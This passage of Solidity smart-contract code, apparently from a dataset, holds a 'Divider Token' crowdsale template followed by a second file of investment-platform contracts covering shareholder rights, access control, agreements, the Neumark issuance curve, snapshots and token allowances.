balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 0;
uint8 public constant TOKEN_DECIMALS_UINT8 = 0;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Divider Token";
string public constant TOKEN_SYMBOL = "DIVID";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x7406fA32f0c6337fb5db0099DF1BBa9C0fCD8df0;
uint public constant START_TIME = 1559660040;
bool public constant CONTINUE_MINTING = false;
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(73846153846153846153846)];
uint64[1] memory timeStartsBounds = [uint64(1559660040)];
uint64[1] memory timeEndsBounds = [uint64(1562018340)];
uint[1] memory weiRaisedAndTimeRates = [uint(350)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, RefundableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(650 * TOKEN_DECIMAL_MULTIPLIER, 0xdcbDB36434f4a403835A5D432dBaBbeB4DfAe6eF, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1569880740)
CappedCrowdsale(73846153846153846153846)
RefundableCrowdsale(30769230769230769230769)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[3] memory addresses = [address(0x11470cf35577e014be2f5cd65cb9bf091b3ed8e1),address(0xdbddcae4ec556532a0f0741da7b80a7b08ed2ea4),address(0xbe562975d754d3271094d58e534cb724e25149d1)];
uint[3] memory amounts = [uint(3000000),uint(6000000),uint(3000000)];
uint64[3] memory freezes = [uint64(1569880803),uint64(1569880803),uint64(1569880803)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
} | 0 | 1,171 |
pragma solidity 0.4.25;
contract IContractId {
function contractId() public pure returns (bytes32 id, uint256 version);
}
contract ShareholderRights is IContractId {
enum VotingRule {
NoVotingRights,
Positive,
Negative,
Proportional
}
bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bool public constant HAS_DRAG_ALONG_RIGHTS = true;
bool public constant HAS_TAG_ALONG_RIGHTS = true;
bool public constant HAS_GENERAL_INFORMATION_RIGHTS = true;
VotingRule public GENERAL_VOTING_RULE;
VotingRule public TAG_ALONG_VOTING_RULE;
uint256 public LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC;
bool public HAS_FOUNDERS_VESTING;
uint256 public GENERAL_VOTING_DURATION;
uint256 public RESTRICTED_ACT_VOTING_DURATION;
uint256 public VOTING_FINALIZATION_DURATION;
uint256 public TOKENHOLDERS_QUORUM_FRAC = 10**17;
uint256 public VOTING_MAJORITY_FRAC = 10**17;
string public INVESTMENT_AGREEMENT_TEMPLATE_URL;
constructor(
VotingRule generalVotingRule,
VotingRule tagAlongVotingRule,
uint256 liquidationPreferenceMultiplierFrac,
bool hasFoundersVesting,
uint256 generalVotingDuration,
uint256 restrictedActVotingDuration,
uint256 votingFinalizationDuration,
uint256 tokenholdersQuorumFrac,
uint256 votingMajorityFrac,
string investmentAgreementTemplateUrl
)
public
{
require(uint(generalVotingRule) < 4);
require(uint(tagAlongVotingRule) < 4);
require(tokenholdersQuorumFrac < 10**18);
require(keccak256(abi.encodePacked(investmentAgreementTemplateUrl)) != EMPTY_STRING_HASH);
GENERAL_VOTING_RULE = generalVotingRule;
TAG_ALONG_VOTING_RULE = tagAlongVotingRule;
LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC = liquidationPreferenceMultiplierFrac;
HAS_FOUNDERS_VESTING = hasFoundersVesting;
GENERAL_VOTING_DURATION = generalVotingDuration;
RESTRICTED_ACT_VOTING_DURATION = restrictedActVotingDuration;
VOTING_FINALIZATION_DURATION = votingFinalizationDuration;
TOKENHOLDERS_QUORUM_FRAC = tokenholdersQuorumFrac;
VOTING_MAJORITY_FRAC = votingMajorityFrac;
INVESTMENT_AGREEMENT_TEMPLATE_URL = investmentAgreementTemplateUrl;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x7f46caed28b4e7a90dc4db9bba18d1565e6c4824f0dc1b96b3b88d730da56e57, 0);
}
}
contract Math {
function absDiff(uint256 v1, uint256 v2)
internal
pure
returns(uint256)
{
return v1 > v2 ? v1 - v2 : v2 - v1;
}
function divRound(uint256 v, uint256 d)
internal
pure
returns(uint256)
{
return add(v, d/2) / d;
}
function decimalFraction(uint256 amount, uint256 frac)
internal
pure
returns(uint256)
{
return proportion(amount, frac, 10**18);
}
function proportion(uint256 amount, uint256 part, uint256 total)
internal
pure
returns(uint256)
{
return divRound(mul(amount, part), total);
}
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
contract PlatformTerms is Math, IContractId {
uint256 public constant PLATFORM_FEE_FRACTION = 3 * 10**16;
uint256 public constant TOKEN_PARTICIPATION_FEE_FRACTION = 2 * 10**16;
uint256 public constant PLATFORM_NEUMARK_SHARE = 2;
bool public constant IS_ICBM_INVESTOR_WHITELISTED = true;
uint256 public constant MIN_TICKET_EUR_ULPS = 100 * 10**18;
uint256 public constant DATE_TO_WHITELIST_MIN_DURATION = 5 days;
uint256 public constant TOKEN_RATE_EXPIRES_AFTER = 4 hours;
uint256 public constant MIN_WHITELIST_DURATION = 0 days;
uint256 public constant MAX_WHITELIST_DURATION = 30 days;
uint256 public constant MIN_PUBLIC_DURATION = 0 days;
uint256 public constant MAX_PUBLIC_DURATION = 60 days;
uint256 public constant MIN_OFFER_DURATION = 1 days;
uint256 public constant MAX_OFFER_DURATION = 90 days;
uint256 public constant MIN_SIGNING_DURATION = 14 days;
uint256 public constant MAX_SIGNING_DURATION = 60 days;
uint256 public constant MIN_CLAIM_DURATION = 7 days;
uint256 public constant MAX_CLAIM_DURATION = 30 days;
function calculateNeumarkDistribution(uint256 rewardNmk)
public
pure
returns (uint256 platformNmk, uint256 investorNmk)
{
platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;
return (platformNmk, rewardNmk - platformNmk);
}
function calculatePlatformTokenFee(uint256 tokenAmount)
public
pure
returns (uint256)
{
return proportion(tokenAmount, TOKEN_PARTICIPATION_FEE_FRACTION, 10**18);
}
function calculatePlatformFee(uint256 amount)
public
pure
returns (uint256)
{
return decimalFraction(amount, PLATFORM_FEE_FRACTION);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x95482babc4e32de6c4dc3910ee7ae62c8e427efde6bc4e9ce0d6d93e24c39323, 0);
}
}
contract IAccessPolicy {
function allowed(
address subject,
bytes32 role,
address object,
bytes4 verb
)
public
returns (bool);
}
contract IAccessControlled {
event LogAccessPolicyChanged(
address controller,
IAccessPolicy oldPolicy,
IAccessPolicy newPolicy
);
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public;
function accessPolicy()
public
constant
returns (IAccessPolicy);
}
contract StandardRoles {
bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da;
}
contract AccessControlled is IAccessControlled, StandardRoles {
IAccessPolicy private _accessPolicy;
modifier only(bytes32 role) {
require(_accessPolicy.allowed(msg.sender, role, this, msg.sig));
_;
}
constructor(IAccessPolicy policy) internal {
require(address(policy) != 0x0);
_accessPolicy = policy;
}
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public
only(ROLE_ACCESS_CONTROLLER)
{
require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));
IAccessPolicy oldPolicy = _accessPolicy;
_accessPolicy = newPolicy;
emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);
}
function accessPolicy()
public
constant
returns (IAccessPolicy)
{
return _accessPolicy;
}
}
contract AccessRoles {
bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c;
bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f;
bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174;
bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19;
bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5;
bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0;
bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7;
bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e;
bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b;
bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738;
bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969;
bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585;
}
contract IEthereumForkArbiter {
event LogForkAnnounced(
string name,
string url,
uint256 blockNumber
);
event LogForkSigned(
uint256 blockNumber,
bytes32 blockHash
);
function nextForkName()
public
constant
returns (string);
function nextForkUrl()
public
constant
returns (string);
function nextForkBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockHash()
public
constant
returns (bytes32);
function lastSignedTimestamp()
public
constant
returns (uint256);
}
contract IAgreement {
event LogAgreementAccepted(
address indexed accepter
);
event LogAgreementAmended(
address contractLegalRepresentative,
string agreementUri
);
function amendAgreement(string agreementUri) public;
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo);
function amendmentsCount()
public
constant
returns (uint256);
}
contract Agreement is
IAgreement,
AccessControlled,
AccessRoles
{
struct SignedAgreement {
address contractLegalRepresentative;
uint256 signedBlockTimestamp;
string agreementUri;
}
IEthereumForkArbiter private ETHEREUM_FORK_ARBITER;
SignedAgreement[] private _amendments;
mapping(address => uint256) private _signatories;
modifier acceptAgreement(address accepter) {
acceptAgreementInternal(accepter);
_;
}
modifier onlyLegalRepresentative(address legalRepresentative) {
require(mCanAmend(legalRepresentative));
_;
}
constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter)
AccessControlled(accessPolicy)
internal
{
require(forkArbiter != IEthereumForkArbiter(0x0));
ETHEREUM_FORK_ARBITER = forkArbiter;
}
function amendAgreement(string agreementUri)
public
onlyLegalRepresentative(msg.sender)
{
SignedAgreement memory amendment = SignedAgreement({
contractLegalRepresentative: msg.sender,
signedBlockTimestamp: block.timestamp,
agreementUri: agreementUri
});
_amendments.push(amendment);
emit LogAgreementAmended(msg.sender, agreementUri);
}
function ethereumForkArbiter()
public
constant
returns (IEthereumForkArbiter)
{
return ETHEREUM_FORK_ARBITER;
}
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
require(_amendments.length > 0);
uint256 last = _amendments.length - 1;
SignedAgreement storage amendment = _amendments[last];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
last
);
}
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
SignedAgreement storage amendment = _amendments[amendmentIndex];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
amendmentIndex
);
}
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo)
{
return _signatories[signatory];
}
function amendmentsCount()
public
constant
returns (uint256)
{
return _amendments.length;
}
function acceptAgreementInternal(address accepter)
internal
{
if(_signatories[accepter] == 0) {
require(_amendments.length > 0);
_signatories[accepter] = block.number;
emit LogAgreementAccepted(accepter);
}
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig);
}
}
contract IdentityRecord {
struct IdentityClaims {
bool isVerified;
bool isSophisticatedInvestor;
bool hasBankAccount;
bool accountFrozen;
}
function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) {
assembly {
mstore(claims, and(data, 0x1))
mstore(add(claims, 0x20), div(and(data, 0x2), 0x2))
mstore(add(claims, 0x40), div(and(data, 0x4), 0x4))
mstore(add(claims, 0x60), div(and(data, 0x8), 0x8))
}
}
}
contract IIdentityRegistry {
event LogSetClaims(
address indexed identity,
bytes32 oldClaims,
bytes32 newClaims
);
function getClaims(address identity) public constant returns (bytes32);
function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public;
}
contract KnownInterfaces {
bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd;
bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1;
bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b;
bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e;
bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521;
bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de;
bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9;
bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e;
bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72;
bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef;
bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8;
bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454;
bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb;
}
contract IsContract {
function isContract(address addr)
internal
constant
returns (bool)
{
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract NeumarkIssuanceCurve {
uint256 private constant NEUMARK_CAP = 1500000000000000000000000000;
uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000;
uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000;
uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000;
uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871;
uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS;
uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS;
function incremental(uint256 totalEuroUlps, uint256 euroUlps)
public
pure
returns (uint256 neumarkUlps)
{
require(totalEuroUlps + euroUlps >= totalEuroUlps);
uint256 from = cumulative(totalEuroUlps);
uint256 to = cumulative(totalEuroUlps + euroUlps);
assert(to >= from);
return to - from;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function cumulative(uint256 euroUlps)
public
pure
returns(uint256 neumarkUlps)
{
if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) {
return NEUMARK_CAP;
}
if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) {
return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS;
}
uint256 d = 230769230769230769230769231;
uint256 term = NEUMARK_CAP;
uint256 sum = 0;
uint256 denom = d;
do assembly {
term := div(mul(term, euroUlps), denom)
sum := add(sum, term)
denom := add(denom, d)
term := div(mul(term, euroUlps), denom)
sum := sub(sum, term)
denom := add(denom, d)
} while (term != 0);
return sum;
}
function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
require(maxEurUlps >= minEurUlps);
require(cumulative(minEurUlps) <= neumarkUlps);
require(cumulative(maxEurUlps) >= neumarkUlps);
uint256 min = minEurUlps;
uint256 max = maxEurUlps;
while (max > min) {
uint256 mid = (max + min) / 2;
uint256 val = cumulative(mid);
if (val < neumarkUlps) {
min = mid + 1;
} else {
max = mid;
}
}
return max;
}
function neumarkCap()
public
pure
returns (uint256)
{
return NEUMARK_CAP;
}
function initialRewardFraction()
public
pure
returns (uint256)
{
return INITIAL_REWARD_FRACTION;
}
}
contract IBasicToken {
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply()
public
constant
returns (uint256);
function balanceOf(address owner)
public
constant
returns (uint256 balance);
function transfer(address to, uint256 amount)
public
returns (bool success);
}
contract Reclaimable is AccessControlled, AccessRoles {
IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0);
function reclaim(IBasicToken token)
public
only(ROLE_RECLAIMER)
{
address reclaimer = msg.sender;
if(token == RECLAIM_ETHER) {
reclaimer.transfer(address(this).balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
contract ISnapshotable {
event LogSnapshotCreated(uint256 snapshotId);
function createSnapshot()
public
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract MSnapshotPolicy {
function mAdvanceSnapshotId()
internal
returns (uint256);
function mCurrentSnapshotId()
internal
constant
returns (uint256);
}
contract Daily is MSnapshotPolicy {
uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391;
constructor(uint256 start) internal {
if (start > 0) {
uint256 base = dayBase(uint128(block.timestamp));
require(start >= base);
require(start < base + 2**128);
}
}
function snapshotAt(uint256 timestamp)
public
constant
returns (uint256)
{
require(timestamp < MAX_TIMESTAMP);
return dayBase(uint128(timestamp));
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
return mCurrentSnapshotId();
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
return dayBase(uint128(block.timestamp));
}
function dayBase(uint128 timestamp)
internal
pure
returns (uint256)
{
return 2**128 * (uint256(timestamp) / 1 days);
}
}
contract DailyAndSnapshotable is
Daily,
ISnapshotable
{
uint256 private _currentSnapshotId;
constructor(uint256 start)
internal
Daily(start)
{
if (start > 0) {
_currentSnapshotId = start;
}
}
function createSnapshot()
public
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
} else {
_currentSnapshotId += 1;
}
emit LogSnapshotCreated(_currentSnapshotId);
return _currentSnapshotId;
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
emit LogSnapshotCreated(base);
}
return _currentSnapshotId;
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
return base > _currentSnapshotId ? base : _currentSnapshotId;
}
}
contract ITokenMetadata {
function symbol()
public
constant
returns (string);
function name()
public
constant
returns (string);
function decimals()
public
constant
returns (uint8);
}
contract TokenMetadata is ITokenMetadata {
string private NAME;
string private SYMBOL;
uint8 private DECIMALS;
string private VERSION;
constructor(
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string version
)
public
{
NAME = tokenName;
SYMBOL = tokenSymbol;
DECIMALS = decimalUnits;
VERSION = version;
}
function name()
public
constant
returns (string)
{
return NAME;
}
function symbol()
public
constant
returns (string)
{
return SYMBOL;
}
function decimals()
public
constant
returns (uint8)
{
return DECIMALS;
}
function version()
public
constant
returns (string)
{
return VERSION;
}
}
contract IERC20Allowance {
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining);
function approve(address spender, uint256 amount)
public
returns (bool success);
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Token is IBasicToken, IERC20Allowance {
}
contract MTokenAllowanceController {
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
returns (bool allow);
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256 allowance);
}
contract MTokenTransferController {
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
returns (bool allow);
}
contract MTokenController is MTokenTransferController, MTokenAllowanceController {
}
contract MTokenTransfer {
function mTransfer(
address from,
address to,
uint256 amount
)
internal;
}
contract IERC677Callback {
function receiveApproval(
address from,
uint256 amount,
address token,
bytes data
)
public
returns (bool success);
}
contract IERC677Allowance is IERC20Allowance {
function approveAndCall(address spender, uint256 amount, bytes extraData)
public
returns (bool success);
}
contract IERC677Token is IERC20Token, IERC677Allowance {
}
contract TokenAllowance is
MTokenTransfer,
MTokenAllowanceController,
IERC20Allowance,
IERC677Token
{
mapping (address => mapping (address => uint256)) private _allowed;
constructor()
internal
{
}
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining)
{
uint256 override = mAllowanceOverride(owner, spender);
if (override > 0) {
return override;
}
return _allowed[owner][spender];
}
function approve(address spender, uint256 amount)
public
returns (bool success)
{
require(mOnApprove(msg.sender, spender, amount));
require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0);
_allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
uint256 allowed = mAllowanceOverride(from, msg.sender);
if (allowed == 0) {
allowed = _allowed[from][msg.sender];
_allowed[from][msg.sender] -= amount;
}
require(allowed >= amount);
mTransfer(from, to, amount);
return true;
}
function approveAndCall(
address spender,
uint256 amount,
bytes extraData
)
public
returns (bool success)
{
require(approve(spender, amount));
success = IERC677Callback(spender).receiveApproval(
msg.sender,
amount,
this,
extraData
);
require(success);
return true;
}
function mAllowanceOverride(
address ,
address
)
internal
constant
returns (uint256)
{
return 0;
}
}
contract Snapshot is MSnapshotPolicy {
struct Values {
uint256 snapshotId;
uint256 value;
}
function hasValue(
Values[] storage values
)
internal
constant
returns (bool)
{
return values.length > 0;
}
function hasValueAt(
Values[] storage values,
uint256 snapshotId
)
internal
constant
